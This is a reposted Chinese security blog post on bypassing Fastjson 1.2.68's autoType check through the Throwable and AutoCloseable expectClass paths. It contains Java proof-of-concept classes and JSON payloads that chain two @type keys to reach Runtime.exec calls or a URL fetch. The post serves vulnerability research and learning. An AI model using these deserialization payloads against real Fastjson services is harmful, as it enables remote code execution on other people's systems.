Fastjson1.2.68 繞Autotype的一點總結

本文轉載自查看原文 2020-08-15 18:42 1929 JAVA安全

這篇文章主要總結學習目前網上關於1.2.68下繞過Autotype的一些方法用到的思路。

前置知識：

checkautotype因為是對要進行反序列化的類進行檢測的方法

所以我們只需要讓其返回Class類型的實例即可

一般會有以下幾種情況通過驗證：

1.autoTypeCheckHandlers不為null，通過此種方式來返回class

2.緩存mapping中的類：

從一處取的，在二處返回

其中在TypeUtils的addMappings中放入了一些基礎類，也就是默認可以反序列化的相關類

3.不在黑名單，但在白名單之中的類

4.使用了jsonType注解的類

5.@type反序列化時指定了expectclass，也就是說反序列化的時候指定了期望類

在判斷為True時exceptclass不能為以下幾種類型

並且反序列化的類不能繼承或者實現Classloader、DataSource、RowSet

繞過方法1：

那么如果沒有開AutoType，並且如果指定了expectclass，即使要反序列化的類不在白名單中，也可以進行加載不在黑名單中的某些滿足條件的類

第一種：

通過Throwable.class

import com.alibaba.fastjson.JSON;

import java.io.IOException;

public class testfj1268 extends Exception {

    private String domain;
    public testfj1268() {
        super();
    }
    public void setDomain(String domain) {
        this.domain = domain;
    }
    @Override
    public String getMessage() {
        try {
            Runtime.getRuntime().exec(new String[]{"cmd", "/c",domain});
        } catch (IOException e) {
            return e.getMessage();
        }

        return super.getMessage();
    }

    public static void main(String[] args) {
       String a = " {\n" +
               "            \"@type\":\"java.lang.Exception\",\n" +
               "                \"@type\": \"testfj1268\",\n" +
               "                \"domain\": \"calc\"\n" +
               "        }";
        JSON.parseObject(a);
    }
}

其中@type第一個類作為excepteclazz(A)，二個作為需要反序列化的類(B)，這種繞過方式是因為Exception.class在parseConfig的mapping中，因此沒到checkAutoType時就已經返回了clazz，那么接着為該類選擇反序列化解析器，匹配到Throwable.class。

接着在反序列化第一個type指定的類時，針對選擇的ThorowableDeserializer的deserialize方法，其將把Exception作為expectClass

接着繼續掃描json字符串后面的，就能獲取到要反序列化的類名，也就是第二個@type指定的類名，作為exClassName傳入checkAutoType，此時checkAutotype傳入的第二個參數為Throable.class也為Exception.class的接口，此時如果exClassName是實現或繼承自Throwable就能過checkAutotype

那么在json字符串中第二個type處的類名將作為要校驗的類名，Throwable將作為這個類的期望類

那么此時又因為checkAutotype傳入了expectclass，而expectclass又不等於if限制的這幾個常見類，所以在這一步expectClassFlag置為True，那么重點來了，此時只要反序列化的類不在黑名單中，那么及時要反序列化的類不在白名單中，只要繼承或實現自expectClass，那么通過下圖就能調用TypeUtils.loadClass進行加載，返回一個Class類型的實例

然而又因為有接下來的1處和2處的限制，那么要找到jndi這種的類還得實現了Throwable接口的，就很難，這也是比較雞肋的一點。

返回clazz后，將通過createException實例化exClass，此時exClass就是返回的第二個type處的類，接着繼續解析json將值放入otherValues，然后setvalue放入exClass

此時將通過反射為exClass對象賦值，其中method在解析

那么最終get的調用在完成賦值以后，將通過調用異常類的所有get方法包括接口以及自身定義的

比如調用getMessage時的調用棧如下所示：

繞過方法2：

y4er師傅博客中寫到通過找checkAutoType的調用，看哪里傳入的expectClass不為null，那么再看其邏輯，那么下面四個框，只有第二和第四，第四個是繞過點1，那么第二個繞過點就是點2

那么根據type指定的類在選擇反序列化解析器時，AutoCloseable類使用的是else分支的javabeanDesearializer

此時函數調用棧如下：

那么因為AutoCloseable不在黑名單中並且其在mapping中，因此就可以返回clazz進行加載，因此通過它就能實現反序列化

比如：

import com.alibaba.fastjson.JSON;

import java.io.IOException;

public class testfj1268 implements AutoCloseable {

    private String domain;
    public testfj1268() {
        super();
    }
    public void setDomain(String domain) {
        this.domain = domain;
    }

    public String getDomain() throws IOException {
        System.out.println("tr1ple");
        Runtime.getRuntime().exec(domain);
        return domain;
    }

    public static void main(String[] args) {
       String a = " {\n" +
               "            \"@type\":\"java.lang.AutoCloseable\",\n" +
               "                \"@type\": \"testfj1268\",\n" +
               "                \"domain\": \"             calc      \"\n" +
               "        }";
        JSON.parseObject(a);
    }

    @Override
    public void close() throws Exception {
    }
}

為什么jndi的gadget不好找？因為常見的jndi的gadget都繼承自 DataSource 和 RowSet，所以反序列化的類過不了對return clazz的最后的驗證。

淺藍師傅還分享了另一個例子：

import com.alibaba.fastjson.JSON;

import javax.activation.DataSource;
import javax.activation.URLDataSource;
import javax.swing.*;
import java.net.URL;

public class testfj1 extends Exception {

    public testfj1() {

    }

    private DataSource dataSource;

    public DataSource getDataSource() {
        return dataSource;
    }

    public void setDataSource(URL url) {
        this.dataSource = new URLDataSource(url);
    }

    public static void main(String[] args) {
        String a = "{\"@type\":\"java.lang.Exception\",\"@type\":\"testfj1\",\"dataSource\":{\"@type\":\"java.net.URL\",\"val\":\"http://127.0.0.1:8090/exp\"}}";
        JSON.parseObject(a);
    }
}